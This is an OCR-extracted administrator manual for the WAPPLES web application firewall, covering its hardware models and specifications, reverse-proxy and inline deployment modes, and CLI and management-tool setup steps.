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Getting Started

Purpose of the Manual

To provide the reference for all information related to WAPPLES and on how to
use the software
Use of the Manual

This manual was prepared for the administrator who installs and manages
WAPPLES.
Prerequisites

The following knowledge is required to understand this manual:

® Basic Network Operation
- Understanding of protocol

- Understanding of OSI 7 Layer
- Understanding of routing

® \Web Service Operation
- Understanding of HTTP 1.1 RFC

- Understanding the roles of the web server and web client

® Basic Knowledge of Security
- Knowledge of OS security

- Knowledge of network security



Summary of Contents

Product Information — This is the introduction to WAPPLES. It explains the
product’s major functions, features, and components, the names of each part of
the main unit of WAPPLES, product’s dimension, and the operating environment.

Pre-Installation Preparations — Explains the preparations to be made prior to
installation; this chapter must be carefully read to make sure the product is
installed properly

Installation — This chapter explains how to install the main unit of WAPPLES
and management tools as well as the basic environment settings in relation to
management.

Monitoring Mode — This chapter explains the WAPPLES monitoring mode
setting.

Pre-Operation Preparations — This chapter provides basic knowledge of the
operating management tool before starting the operation.

Understanding the Detection Rules— This chapter explains each detection rule
to determine the rules appropriate for the site.

Detection Log — This chapter explains how to search the logs detected as website
attacks based on the security policy and analyze the searched detection logs to
adjust the security policy appropriately.

Dashboard — This chapter explains how to view the analysis of the traffic and
detection log of WAPPLES as presented to the administrator in chart form.

Audit Log — This chapter explains how to search the contents of the audit
conducted on the main unit of WAPPLES and policy changes.

Monitoring — This chapter explains how to check the installation type of
WAPPLES and resource utilization status in real time.

Policy — This chapter explains how to manage the websites protected by
WAPPLES and security policies.

Report — This chapter explains how to read the statistical report of the logs of the
web attacks detected by WAPPLES and send it via email.

Setting Wizard — This chapter explains the settings for the proper operation of
WAPPLES as well as how to set the network.

CLI(Command Line Interface) CommandCommand- This chapter explains
the WAPPLES Command Line Interface, which is provided to set and monitor



the WAPPLES management port using the serial console port.

WAPPLES Status Check — This chapter explains how to check the status of the
WAPPLES equipment.

High Availability — This chapter explains how to install WAPPLES in the
network configuration designed for high availability.

SSL Certificate Application - This chapter explains the types of SSL certificates
supported by WAPPLES as well as how to change the type of certificate.

Miscellaneous — This chapter explains how to handle errors that occur during the
operation.



Definitions

Refer to the following definitions for the terms used in this manual:

WAPPLES: Refers to the web application firewall product developed and sold by
Penta Security Systems; WAPPLES includes H/W and S/W as well as all
components provided to create a firewall for web applications

Administrator: Pertains to the person exclusively in charge of the installation and
operation of WAPPLES among all those who have access to WAPPLES and
environment where WAPPLES is installed; administrator includes the meaning of
operator

Operator: Refers to the person exclusively in charge of WAPPLES operation
among all those who have access to WAPPLES and environment where
WAPPLES is installed
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I. Product Information

As the introductory chapter for WAPPLES, this describes the product’s major
functions, features, and components, the names of each part of WAPPLES, the
specification, and the operating environment.

1. Overview

WAPPLES" is an intelligent application firewall; it is located on the front end of
the web server to monitor HTTP/HTTPS traffic coming in from the outside.
When a malicious attack on the web application is detected, WAPPLES blocks
the attack before it reaches the web server.

PORT 23 Close
. PORT 80 Open

E} 3 R\

Firewall

| Fig. I-1. Role of WAPPLES

As shown in [Fig. 1. Role of WAPPLES], WAPPLES basically blocks dangerous
and malicious attacks that are not filtered through the firewall before they reach
the web server. WAPPLES detects and blocks highly intelligent and diverse web
attacks efficiently for the stable and reliable operation of web applications.

Pronounced as “wahplz”; written as “WAPPLES” in this document.
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1.1 Major Security Features

WAPPLES supports the following security features:
Prevention of HTTP-based web attack

Detection and blocking of OWASP? Top 10 Attacks
Support for PCI-DSS Compliance Requirements

Detection and blocking of Known/Unknown Worm
Ex.) Code Red, Nimda

Protection of web security elements

Prevention of modification or illegal use of cookies
Prevention of modification of hidden fields

Use of standard password algorithm (AES, SEED)
Web contents filtering

Detection and blocking of upload/download of files containing personal
information

® Detection of social security number, credit card number, email address,
address, and telephone number

® Search of 30 or more different files including MS Office, Open Office,
PDF, MS Outlook Message, and hwp

® Automatic conversion of prohibited words
Ex.) “Coarse Language” (prohibited word) -> “Proper Language” (registered
expression)

® Blocking of exposure of web pages modified by hackers and automatic
recovery of such files

2 OWASP: Open Web Application Security Project. http://www.owasp.org/
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1.2 Features

WAPPLES has the following features:

01 Security

02 Performance
°

03 stability

04 Convenience
°

Triple Defense Structure against Web Attacks

WAPPLES perfectly detects and blocks web attacks based on a triple
defense structure for web client access control consisting of the “URI Access
Control” of the Positive Security Module, “Rule Detection” of the Negative
Security Module, and “IP Filtering”/“IP Block,” the White/Black list of the
IP address management function.

Support for Encrypted Traffic
WAPPLES supports encrypted traffic such as SSL. Even when the web
attack is within the encrypted traffic, WAPPLES quickly decrypts the traffic
and detects and blocks the attack.

Hardware-Integrated Appliance

WAPPLES secures high performance since it comes in hardware-integrated
appliance format that does not impose a burden on existing service
equipment such as web server.

Simultaneous Protection of Multiple Websites/\WWeb Servers
WAPPLES can protect a number of websites and web servers at the same
time.

Watchdog

The watchdog process monitors WAPPLES to provide continuous and stable
web services. In case of a trouble with WAPPLES, the watchdog process
will identify the symptom of the trouble and take the necessary measures to
maintain security as well as the web service accordingly.

Dashboard

WAPPLES supports the dashboard function, which allows the administrator
to check the operating status of WAPPLES and web servers in the forms of
graphs and charts in real time. WAPPLES’s dashboard provides 22 different
graphs and charts to process data in the manner preferred by the operator.

Setting Wizard
All configurations and settings of WAPPLES are made through the Setting
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Wizard. The Setting Wizard will help you make complex configurations of
WAPPLES in a simple, convenient manner.

Free and Flexible GUI

WAPPLES allows the user to locate various windows freely including the
log window and dashboard windows anywhere on the main window. In
addition, the user can set different conditions for the contents of each
window to check a variety of information at the same time. This type of free
and flexible GUI displays allows the operator to check the information
depending on the need for enhanced convenience in using the management
tool.
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2. Components

WAPPLES consists of the following components:
® WAPPLES Main Unit

® WAPPLES Manual CD (Installation Guide, Configuration Guide, and
Reference Manual)

Network Cable (two(2) direct cables, two(2) cross cables)
1 power cables(2 for 1,000, 2000, and 5,000)

Serial cable for CLI connection

2.1 Part Name

The following are the names of parts of WAPPLES-2000 and WAPPLES-5000:
01 Front Panel

The detailed hardware configuration on the front panel of WAPPLES is shown in
the picture below. In the picture at the top, the service port of WAPPLES is
configured with regular network interface. With WAPPLES-5000, WAPPLES can
be configured with 10 Ghbps-class optical network interface using optional
components. The role of each component is as follows:

Serial port LCD display

WAPPLESS50 W wi . . M |
- g EERE = N .,

Serviceport  Managementport Power/HDD LED LCD button

Fig. I-2. Front of WAPPLES-50

Serial port LCD
display

WAPPLES-100 eco

.

PentascnTy

= X"

Service Management Power/HDD LCD button
port port LED

Fig. I-3. Front of WAPPLES-100eco
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Power/HDD LED LCD Display

PertasorTy
WAPPLES-500

Serial port Management Service port LCD button
port

Fig. I1-4. Front of WAPPLES-500(Copper)

Power/HDD LED LCD
display

Serial port Management Sefvice Service LCD button
port port(Copper) port{Optical)

Fig. I-5. Front of WAPPLES-500(Fiber)

LCD display LCD button Power/HDD LED Service port(optional)

Penmtasoury
WAPFLES-1000
type 2

—an—

nannnm
T — T ~
Management Serial port Service port
port
Fig. 1-6. Front of WAPPLES-1000type2
LCD LCD button Power/HDD Service

display LED port{optional)

Pemtasouary
WAPFLES-2000

—Cr—

Management
p%rt Serial port Service port
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Fig. I-7. Front of WAPPLES-2000

Power/HDD LC LCD button Service
LED display port(optional)

WAPPLES

Manageme Serial port
nt port

Fig. I-8. Front of WAPPLES-5000

Table 1. Parts in the Front Panel

Part Name Description

Displays the management port IP address and
WAPPLES version

Use this button to adjust the values shown on the display
window or check information such as the WAPPLES
network configuration.

This lets you configure various settings for WAPPLES
through a serial cable; you can connect to WAPPLES
Serial Port using serial connection programs such as the basic
Windows program  “hyper-terminal.” The serial
connection is configured to 115200bps/8bit/no parity.
This LED indicates the power and HDD statuses. When
power is turned on, it turns green; when the internal
HDD operates, it emits a red flickering light.

As the connection port for the external network used
Service Port when installing WAPPLES, this is used as the service
(Ethernet) network connection port when configuring the inline
mode, reverse proxy mode, or HA.

LCD Window

LCD Adjustment
Button

Power/HDD
Indication Window
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02 Back Panel

Power cable connector

Power switch

Fig. 1-9. Back of WAPPLES-50

Power cable connector

Power switch

Fig. 1-10. Back of WAPPLES-100eco

Power cable connector

Power switch

Fig. I-11. Back of WAPPLES-100eco
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Power switch  Power cable connector

Power Duplexing Alarm Cancellation Switch

Fig. 1-12. WAPPLES-2000, WAPPLES-1000, 2000 Back Panel

Power switch Power cable connector

Power Duplexing Alarm Cancellation Switch

Fig. 1-13. WAPPLES-2000, WAPPLES-5000 Back Panel

Table 2. Parts in the Back Panel

Part Name Description
Power Switch Used to turn WAPPLES power on or off
Part for connecting the power cable for

Power Cable Connector WAPPLES

The dual power alarm will be set off when
you connect only one power cable and turn
on the power switch. Press the dual power
alarm switch to stop the alarm.

Dual Power Alarm Switch

2. Components _24



2. Components _25



3. Specification
The following is the specification of WAPPLES:

Table 1 Value Class

1 it
Model WAPPLES-50 WAPPLES-100eco
Maximum
Throuput 100 Mbps 300 Mbps
HTTP 3,000 9,000
Transaction/sec
HTTP 3,000 8,000
Connection/sec
SSL
Transaction/sec 2,000 5,000
CoraLirir 1,000,000 2,000,000

Connection (CCS)

2. Supported Functions

Model WAPPLES-50 WAPPLES-100eco

Backend Servers

Support Limit. 2 Unlimited

HA Configuration O O

VLAN Tagging
(802.1Q)

Multi-link
trunking

Redundant
Power Supply
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3. Hardware

Model

WAPPLES-50

WAPPLES-100eco

Form Factor

U

1U

Intel Dual Core 2.5

Intel Quad Core 2.66

CFL GHz GHz
Memory 2Gh 4 Gb
HDD 160 Gb 500 Gb
Size 443mm*292mm 443mm*292mm
*44.5mm *44.5mm
Weight 8 Kg 8 Kg
2 % 10/100/1000 2 x 10/100/1000
BaseTX BaseTX
NIC 4 x 10/100/1000 8 x 10/100/1000
BaseTX Bypass BaseTX
Bypass
AC100~240V 50/60Hz AC100~240V 50/60Hz
Power Supply 200W 200W
Table 2 Performance Class
1. Capacity
Model WAPPLES-500 WAPPLES-1000type2
Maximum
Throuput 500 Mbps 2 Gbps
HTTP 15,000 30,000
Transaction/sec
HTTP 12,000 20,000
Connection/sec
SSL
Transaction/sec 8,000 15,000
Concurrent 500 000 4,000,000

Connection (CCS)
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2. Supported Functions

Model WAPPLES-500 WAPPLES-1000type2
Backend Servers ;. jteq Unlimited
Support Limit.
HA Configuration O @)
VLAN Tagging ) 0
(802.1Q)
Multi-link i 0
trunking
Redundant ) 0
Power Supply
3. Hardware
Model WAPPLES-500 WAPPLES-1000type2

Form Factor

U

2U

Intel Quad Core Xeon

Intel Quad Core Xeon

cPU 2.66 GHz 2.33 GHz * 2
Memory 8Gb 8 Gb
HDD 500 Gb 500 Gb
Size 443mm*406mm 443mm*512mm
*44.5mm *88mm
Weight 11 Kg 18.75 Kg
2 x 10/100/1000
BaseTX
2 x 10/100/1000 8 x 10/100/1000
BaseTX BaseTX Bypass
2 x 1000 BaseSFP
NIC (Option)
4 x 10/100/1000 (Option)
BaseTX 2 x 1000 Base Optical
OR Bypass
2 x 1000 Base Optical
Bypass
AC100~240V 50/60Hz
Power Supol AC100~240V 50/60Hz 400W
bply 300W Redundant
Power Supply
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Table 3 High End Class

1. Capacity
Model WAPPLES-2000 WAPPLES-5000
Maximum
Throuput 4 Gbps 6 Ghps
HTTP 50,000 70,000
Transaction/sec
HTTP 30,000 50,000
Connection/sec
SSL 24,000 33,000
Transaction/sec
LS 8,000,000 12,000,000

Connection (CCS)

2. Supported Functions

Model WAPPLES-2000 WAPPLES-5000
Backend Servers ;e Unlimited
Support Limit.
HA Configuration O )
VLAN Tagging
(802.1Q) © O
Multi-link
trunking O o
Redundant 0 0
Power Supply
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3. Hardware

Model WAPPLES-2000 WAPPLES-5000
Form Factor 2U 2U
cPU Intel Quad Core Xeon Intel Westmere 2.53
2.66 GHz * 2 GHz *2
Memory 16 Gb 24 Gb
HDD 500 Gb 1Thb
Siz 443mm*512mm 431.8mm*580mm
€ *88mm *44.5mm
Weight 18.75 Kg 21 Kg
2 x 10/100/1000
BaseTX
2 x 10/100/1000 8 x 10/100/1000
BaseTX BaseT X Bypass
8 x 10/100/1000 4 x 1000 BaseSFP
BaseTX Bypass 2 x 1000 Base Optical
NIC 4 x 1000 BaseSFP Bypass
(Optional) (Optional)
2 x 1000 Base Optical 4 x 1000 Base Optical
Bypass Bypass
2 x 10G Base Optical
Bypass
AC100~240V 50/60Hz AC100~240V 50/60Hz
400W 500W
Power Supply

Redundant Power
Supply

Redundant Power
Supply
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Table 4 Console R irment

Windows 2000 Service Pack 3

Windows 98
Windows 98 Second Edition
Suported O/S Windows ME
Windows Server 2003
Windows XP Service Pack 2
CPU X86
RAM 256MB or higher
HDD 100MB or higher

.Net framework V2.0 or higher

4. Operating Environment

The WAPPLES system must be operated in the following environment:

WAPPLES is equipment that is exclusively designed and configured to
serve as web security gateway application firewall in connection with
stable hardware, operating system, and internal database. The Penta
Security Systems warranty does not cover the modification of internal
configuration and use of the product for other purposes.

WAPPLES must be installed in a physically safe environment accessible
to authorized administrators only.

WAPPLES was built for security in HTTP/HTTPS traffic. Therefore,
WAPPLES must be operated in connection with additional firewall or
intrusion detection system.

WAPPLES should be located in the physical or logical midpoint
between the web client and web server on the network; HTTP (S)
communication between them must be made through WAPPLES.

When there are changes in the internal network environment where
WAPPLES is installed due to a change in network configuration and
the increase or decrease in websites, you need to reflect such changes on
the security policy.

WAPPLES can use SNMP trap, Syslog, etc., when working with
external systems such as a monitoring system; they need to be kept safe
within a reliable network segment.

The WAPPLES system detects and blocks attacks even for traffic
encrypted with ISSAC-Web by decrypting packets through safe key
management.

WAPPLES must always be updated to the latest versions of security
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patches through maintenance and repair procedures.

WAPPLES is updated through the direct support of the Product
Technical Support Team or online update server.

WAPPLES provides a reliable time stamp. For safe operation,
consistency should be maintained in the management tool PC by using
the time stamp synchronization feature of the OS.

WAPPLES must be configured, managed, and used safely by
authorized administrators.

Administrators must receive proper training on managing WAPPLES
and perform their duties correctly according to the Administrator’s
Guide.

The WAPPLES management tool must be used in a safe administrator
PC running on an operating system updated with the latest security
patch.

The management tool must be accessible within a reliable network
segment.

When you access WAPPLES, the information is transmitted through
SSL encrypted traffic to maintain the confidentiality of such
information.
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II. Pre-Installation Preparations

This chapter describes the preparations and decisions to be made prior to
installing WAPPLES. Read this chapter on “Pre-Installation Preparations” to
install WAPPLES correctly.

1. Receiving the Product

WAPPLES is directly delivered to the customer by authorized technicians who
completed installation training; authorized technicians include the technicians of
the Technical Support Team of Penta Security Systems and its partners.

After receiving WAPPLES, the administrator shall remove the seal from the box
and check whether the contents of the box match those on the delivery note or the
items listed in [I. 2 Components].

Before installing WAPPLES, perform preliminary inspection.
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2. Configuring the Network and Deciding the
Installation Location

WAPPLES must be installed in a physically safe environment accessible to
authorized administrators only. After deciding the installation location, the
administrator can configure the network for WAPPLES according to the type of
operation. WAPPLES can generally be installed in two modes -- Reverse Proxy
Mode and Inline (Bridge, Transparent Proxy) Mode. The network configuration
mode must be selected considering the location of the web server to be protected
and the physical network environment.

2.1 Reverse Proxy Mode

In Reverse Proxy Mode, WAPPLES is installed in the same manner as ordinary

@ WAPPLES-100 and WAPPLES-1000 support only one installation mode
according to the network configuration; note, however, that this version
supports two installation modes based on the network configuration and
settings thereof regardless of the installation mode.

web proxy servers. The physical network of WAPPLES and IP setting, etc., are
configured in the same manner as ordinary web proxy. To protect a website with
WAPPLES in this mode, you need to reset the website’s DNS or modify the
L4/L7 switch settings to direct the traffic going to the web server to WAPPLES.
In Reverse Proxy Mode, WAPPLES acts as a proxy such that the web server’s
access log will only have WAPPLES’s IP addresses instead of the IP address of
the actual web browser users.

Web-
_@ Server

HTTP(S) Web-
Application 1

Web-
— » Application 2
J

HTTP
Web Attack

& >
< >

INTERNET \/ —

Fig. 11-1. Reverse Proxy Mode
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2.2 Inline Mode

In Inline Mode, WAPPLES acts as a bridge between network lines. This is also
called transparent proxy mode or bridge mode. In this mode, WAPPLES will be
physically located between the web server and Internet to be passed by all
packets going to the web server through WAPPLES. One of the advantages of
Inline Mode is that it transmits the original IP address of the web browser user to
the web server as it is.

< (B Web-
_‘. Server
o=

Web-
_15*@, Application 1
W

HTTP
Web Attack

HTTP(S)

INTERNET

;/ Web-
_‘\ > Application 2
~NAL)

Fig. 11-2. Inline Mode

2.3 Example of Installation by Network Configuration

Decide where to install WAPPLES according to the network configuration. There
can be many variables depending on the circumstances, but WAPPLES is
installed in the following locations in most environments:

Protecting a single web server
Install right in front of the web server network connection line in inline
mode.

Protecting small-scale web servers connected to a single switch
Install between network switches to which the firewall and web servers are
connected in inline mode.

Loads are distributed to 2 or more web servers using the L4 switch.

Install where it is connected to L4 between L4 and L2 in inline mode. In this
case, you can use L4’s CSLB (Cache Server Load Balancing) function.
Connect WAPPLES to L4 in Reverse Proxy Mode as in a Web Cache Server.

Protecting a number of web servers scattered around various networks
Case 1: Install WAPPLES in Reverse Proxy Mode in a network and modify
the DNS setting to direct packets going to various servers to WAPPLES.
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Case 2: Configure an additional service Port, match each port to the web
server, and install WAPPLES in Inline Mode.

Installing WAPPLES in a network with high availability

WAPPLES supports HA (high availability) configuration using 2 or more
WAPPLES without the use of the L4 switch to provide safe web service.
(WAPPLES-50 does not support HA.)
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3. Securing the Basic Network Resources

Once you decide the network configuration as well as where to install the product,
request the network administrator to obtain the necessary information including
IP address, netmask, gateway, etc. The following network resources are required

for WAPPLES operation:
® |P, netmask, and gateway of each web server for the WAPPLES service
port

® |P, netmask, and gateway for the WAPPLES management port

Generally, one service port IP address is sufficient for exclusive use in Reverse
Proxy Mode. You may need to use — albeit rarely -- a number of IP addresses if
required by circumstances, such as when balancing the load between a number of
web servers using switches or when you configured two or more networks.

Moreover, you may need a number of service port gateways depending on the
installation location. In some unique circumstances, the gateway for traffic going
out to the Internet can exist separately from the gateway for the traffic going in to
the web servers. You need to configure them carefully since trouble may occur in
providing normal web service if they are configured incorrectly.

For best results, locate the management port IP in a place accessible only to
administrators authorized to use the management tool. WAPPLES basically
restricts access to the management port IP for security if access is not attempted
inside the same subnet as the management port. To access the management port
from the external network, you need to register separately the network you are
using in the list of permitted networks.
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III. Installation

This chapter explains how to install the WAPPLES main unit and management
tool as well as how to configure the basic environment settings in relation to
operation. After installing WAPPLES, you can set appropriate detection and
operation policies to protect websites.

WAPPLES is generally installed in the following sequence:

@

Choose a place for installing WAPPLES; it should be physically safe and
accessible to authorized administrators.

Place WAPPLES between the physical network environment and the web
server to protect and configure the network considering the user
environment.

Collect related environment information by consulting with the network and
web server administrators and decide WAPPLES’s network configuration
and installation location.

Update the operating system of the administrator’s PC (Microsoft (MS)
Windows OS) to the latest version.

Configure the IP address, netmask, and gateway of the management port
using the serial console port.

Connect the network cable to the management port; connect to the
management port IP using MS Internet Explorer from the administrator’s
management PC.

When the opening screenshot of the management tool appears on the web
browser, click [Start] to run the management tool. If .Net 2.0 is not installed
on the administrator’s PC, install .Net 2.0 first and run the management tool.

Run the Setting Wizard and use [Network Setting] to configure the IP
addresses of the web servers to be protected with WAPPLES.

Register the website to be protected using [Website Setting] of the Setting
Wizard and apply the appropriate security policy to the website. Add or
change the security policy if necessary.

After configuring the settings, connect the network cable to the service port
and check whether the web server can be accessed normally and whether

3. Securing the Basic Network Resources _40



WAPPLES monitors web traffic and detects and blocks web attacks.
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1. Example of Installation

You will need basic network knowledge to install and operate WAPPLES. The
administrator must be well aware of the connection between WAPPLES and other
security equipment such as firewall and IDS as well as the configuration of
network equipment including hub and switch and configuration of the web server.
Changing the WAPPLES settings inappropriately without such knowledge can
cause a malfunction in the related network. Furthermore, when the internal
network environment changes due to a change in network configuration and the
increase and decrease in websites, you need to reflect such changes in the
environment and security policy on the WAPPLES operation policy to maintain
the same level of security. WAPPLES uses encrypted communication to establish
a safe channel for the administrator’s remote PC. Therefore, the administrator
must secure network stability between the administrator’s remote PC and
WAPPLES.

The information listed below is an example prepared to help administrators
understand this manual by explaining the installation process of WAPPLES in a
specific environment. In other words, the actual operating environment of your
WAPPLES may be different from the following (use the following information as
sample installation):

Web server network information

® |PAddress: 192.168.3.61

® Netmask: 255.255.255.0

® Gateway: 192.168.3.1

Service (proxy) port setting for WAPPLES in reverse proxy mode
® |PAddress: 192.168.03.7029

® Netmask: 255.255.255.0

® Gateway: 192.168.3.1

Management port setting

® |PAddress: 192.168.3.54
® Netmask: 255.255.255.0
® Gateway: 192.168.3.1

Administrator IP network information
® |PAddress: 192.168.3.42
® Netmask: 255.255.255.0
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® Gateway: 192.168.3.1
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2. Setting the Management Port

Manage WAPPLES remotely using TCP/IP. To manage WAPPLES remotely, you
need to set up a management port by using the WAPPLES hardware console port
(serial cable).

When you connect the main unit of WAPPLES and a notebook (PC), WAPPLES
provides the CLI (Command Line Interface) for the configuration of the
management port. This manual explains the basic use of the CLI required for
installing WAPPLES. Refer to the user manual enclosed with this manual for the
CLI commands for details on the overall WAPPLES operation.

2.1 Connecting the Console Port

Turn on the power of the WAPPLES main unit and connect the WAPPLES serial
port and the notebook (PC) serial port with the serial cable.

After connecting the WAPPLES main unit and notebook (PC) with the serial
cable, run the serial connection program.

A variety of programs are available for serial connection. This manual explains
how to make serial connection with the basic Windows program called hyper-
terminal. First, configure the [Connection Properties] menu of the hyper-terminal
as follows:
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.11 - HyperTerminal

File Edit Ve

Transfer. Help

D &2 DB

COM1 Properties

B
B3

Part Settings ‘

Bits per second: | 115200 v

Data bits: | 8 v

Parity: | None v
Stop bits: | 1 v
Flow control: | [ERERIN

Restore Defaults

L 0K J[ Cancel ][ Apply ]

Disconnected Auto detect | Auto detect SCROLL CAPS | NUM | Capture | F
Fig. 111-1. Hyper-Terminal Settings

Configure the serial port as follows:
Bit/Second(B): 115200 bps
Data Bit: 8 bit

Parity: None

Pause Bit: 1

Flow Control: None

After configuration, click [OK] to connect. If connection to WAPPLES is
successful, you will see the following WAPPLES prompt:
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penta-np> _

Fig. 111-2. Initial Connection Window

Enter a question mark [?] in the penta-np prompt and press [Enter] to view a list
of commands that you can use. In addition, enter a command followed by a
question mark [?] to check the descriptions of the parameters to be entered with
the command.

penta-np> ?
enable Turn on privileged mode command.
exit Exit current mode and return to previous mode.
list Print command list.
logout Exit from EXEC.
quit  EXit current mode and return to previous mode.

2.2 Login
Only authorized administrators can configure and check the management port.

Use the enable command to enter the password as follows:

penta-np> enable
password:
penta-np#

If login is successful, the penta-np# prompt will appear.

CLI displays the following error message when the administrator enters incorrect
values during login:

Table 3. CLI Login Error M
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Error Message Cause

The password you have entered does not
Failed to login! match the password registered to
WAPPLES.

2.3 Management Port IP Setting

Enter the CLI network to configure the management port IP, netmask, and
gateway. Enter the network followed by the management port setting mode using
the link [management port name] command.

penta-np# configure terminal
penta-np(config)# network
penta-np(config-network)# link ctl0

The following list of commands is available in the management port setting:

penta-np(config-network-ctl0)#
end End current mode and return to privileged EXEC mode.
exit Exit current mode and return to previous mode.
if Add interface.
list Print command list.
quit  Exit current mode and return to previous mode.
show Show running system information.

You can set the management port IP and netmask using the [if add management
port IP/netmask (broadcast address|none)] command.

Enter the IP and Netmask in “192.168.3.54/24” format and the broadcast address
in “192.168.3.255” format; otherwise, enter “none.” The following is a sample
configuration:

penta-np(config-network-ctl0)# if add 192.168.3.54/24 192.168.3.255
OK.

penta-np(config-network-ctl0)# exit

penta-np(config-network)# save configuration

WRITING..

OK.

penta-np(config-network)#

After configuring the settings, you can check the network information of the
management IP registered to the management port as follows:

penta-np(config-network)# link ctl0
penta-np(config-network-ctl0)# show if all
------ IF INFO
IFINDEX :1

IFADDR :192.168.3.54/24
IF MASK :255.255.255.0
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IF BRD ADDR : 192.168.3.255
IFFLAG :FIRST

@ Changes made to the configuration- and modification-related commands
among the available CLI commands will be applied to WAPPLES only
when you run the “save configuration” command after configuration or
modification is made.

CLI displays the following error message in case the administrator enters
incorrect values when configuring the management port settings:

Table 4. CLI Management Port Error Message

Error Message Cause

% Command incomplete The command is incorrect.

- . Invalid value
% Invalid input detected in the (An incorrect value is indicated
position marked with “*”

with “*”” below.)

2.4 Permitted Network Setting

If the administrator’s PC and WAPPLES main unit are in the same subnet, skip
this part and continue with the next part.

If the administrator’s PC and WAPPLES main unit are in different subnets,
configure the permitted network to allow the administrator to access the
WAPPLES management port.

For example, when the administrator PC’s IP address is 192.168.1.42, Netmask is
255.255.255.0, and WAPPLES’s gateway IP is 192.168.3.1, enter the following:

penta-np(config-network)# rt add 192.168.1.0/24 192.168.3.1 ctl0
OK.

Once the setting is completed, you can check the permitted network configured in
the management port as follows:

penta-np(config-network)# show rt all
------ ROUTING INFO

INDEX DESTINATION GATEWAY GENMASK Iface
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1 192.168.3.0 0.0.0.0 255.255.255.0 ctl0
2 default 192.168.3.1 0.0.0.0 ctlo
penta-np(config-network)#

CLI displays the following error message in case the administrator enters
incorrect values when configuring network access permission:

Table 5. CL I Network A Permission Error M
Error Message Cause
% Command incomplete Command is incorrect.
. . Invalid value
0,
& I.n.valld Input Qeteg/t\?fj in the (An incorrect value is indicated with
position marked with “ below.)

2.5 Checking the Management Port Settings

Check whether the management port is configured correctly. You can check the

management port configuration through CLI or LCD window of the WAPPLES
main unit.

01 Checking the Management Port Configuration through CLI

To check the management port configuration through CLI, use the “network”
command as follows:

penta-np(config-network)# link ctl0
penta-np(config-network-ctl0)# show if all
------ IF INFO
IFINDEX :1

IF ADDR :192.168.3.54/24
IF MASK  :255.255.255.0

IF BRD ADDR :192.168.3.255
IFFLAG : FIRST

02 Checking the Management Port Configuration through the LCD Window

You can check the management port configuration through the LCD window on
the front panel of WAPPLES.

The LCD window will automatically display the WAPPLES version,
management port IP, and NIC status (if NIC status is changed) every 20 seconds.
If the administrator presses any of the four buttons, the following will appear:

WAPPLES |
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| 1. INFORMATION |

When you press the [Right] button on the initial screen of the LCD window, the
window below will appear. Pressing the [Left] button restores the previous screen,
and you can check 2. Control Port IP menu of INFORMATION by using the
[Up/Down] buttons. If you do not press any button for 20 seconds, the initial
information screen will be restored (refreshed periodically).

INFORMATION
1. Version

INFORMATION
2. Control Port IP

INFORMATION
3. Nic Status

Pressing the [Right] button in [2. Control Port IP] above lets you check
WAPPLES’s management port IP. If you do not press any button for 20 seconds,
the initial information screen is automatically restored (refreshed periodically).

INFORMATION
IP: 192.168.3.54

03 Checking the access from the administrator’s PC to the management port

After connecting the cable, check the access from the administrator’s PC to the
management port using the ping command.

’:?\X Activate Windows

@ Set Program Access and Defaults

\t;y“, Windows Catalog

% Windows Update

L Programs 4 Rl.l n @
;) Documents »
S = Type the name of a program, folder, document, or
Jy”  Settings 4 Internet resource, and Windows will open it For you.

) Search >

Open: Lm :rj

Help and Support

I OK l[ Cancel ][ Browse. .. ]

‘| Log Off kason...

Fig. 111-3. Start Command Prompt

Click Start - Run to maximize the execution window. Type “cmd” and click
[OK].
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In the command prompt, type the following command to check the management
port IP configured with CLI:

ping [Management Port IP]

If you are connected to the management port normally, you will see the following
information:

Reply from 192.168.3.54: time<ims TTL=64

time<ims TTL=64
Reply from 192.168.3.54: time<ims TTL=64
Reply from 192.168.3.54: bhytes=32 time=1ims TTL=64

Ping statistics for 192.168.3.54:

Packets: Sent = 4, Received = 4, Lost = @ (8% loss).
Approximate round trip times in milli-seconds:

Minimum = @ms, Maximum = 1ms. Average = Bms

IC:t

Fig. 111-4. Command Prompt
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3. Installing the Management Tools

After completing the management port setting, start the WAPPLES management
tool in the administrator’s PC. WAPPLES’s management tool is a .NET 2.0-based
application running on the Windows XP environment.

3.1 .Net 2.0 Installation

Run MS-IE from the administrator’s PC and connect to the management port IP
address registered in [I11.2 Setting the Management Port]. If .Net 2.0 is not
installed on the administrator’s PC, the installation window below will appear. If
you have already gone through the installation process, the application will skip
this stage and move on to the next stage.

WAPPLES Menu

Go to Penta Security Systems Home ':
1
— (P - WAPPLES Information -
- \. 2 IAME: WAPPLES MANAGEMENT
m — Version: 3.0
re)— ¥y
\I'. Publisher. Penta Security System Inc.
>
[ . "
@ Following framework is mandatary.
O NetFramework 2.0

WAPPLED

Ifthis framework is already installed, you cah START
the application immediatly.

Othenwise, Cliick below INSTALL button to setup
mandatory framework

Installation

Copyright(c) Penta Security Systems Inc. All Rights Reserved FWersion 3.0

Fig. 111-5. .Net 2.0 Installation

Click the orange [Install] button on the lower right side of the screen. A warning
message will appear as shown below. Click [Run].
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Internet Explorer - Securit?s

Do you want to run this software?
Mame: dotnetfx.exe
Publisher: Microsoft Corporation

[E]More options [ Run ] [ Don't Run ]

@ ‘While files from the Internet can be useful, this file type can potentially harm
wour computer. Only run software from publishers you trust, What's the risk?

Fig. 111-6. Executing the .Net installation File (1)

After running the installation program, complete installation according to the

descriptions that appear.

i& Microsoft .NET Framework 2.0 Setup

End-User License Agreement

End-User License Agreement

(G

MICROSOFT SOFTWARE SUPPLEMEMNTAL LICENSE TERMS
MICROSOFT .NET FRAMEWORK 2.0

Microsoft Corporation {or based on where you live, one of its affiliates) licenses this
supplement to you. If vou are licensed to use Microsoft Windows operating system
software (the “software™), you may use this supplement. You may not use it if vou do
not have a license for the software. You may use a copy of this supplement with each
validly licensed copy of the software.,

By clicking "I accept the terms of the License Agreement" and proceeding to use the

product, Iindicate that I have read, understood, and agreed to the terms of the End-User
License Agreement,

I accept the terms of the License Agreement

[ < Back ][ Install > J[ Cancel ]

Fig. 111-7. Executing the .Net installation file (2)

After the installation of .Net 2.0, you can run the management tool by clicking
the “Start” link in blue above the [Install] button on the lower right side of the

web browser’s installation screen.
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3.2 Starting the Management Tool

When you access the management port through the web browser even when .Net
2.0 is already installed in the system, the following window will appear:

=) ""’E’»..\,‘

Ve

WAPPLED

Copyright(c) Penta Security Systems Inc. &ll Rights Reserved.

Fig. 111-8. WAPPLES Management Tool Opening Screenshot

WAPPLES Menu

Go ta Penta Security Systems Home

NAME WAPPLES MANAGEMENT
Version: 3.0

'WAPPLES Information
Publisher; Penta Security System Inc.

Start

[¥¥ersion 30

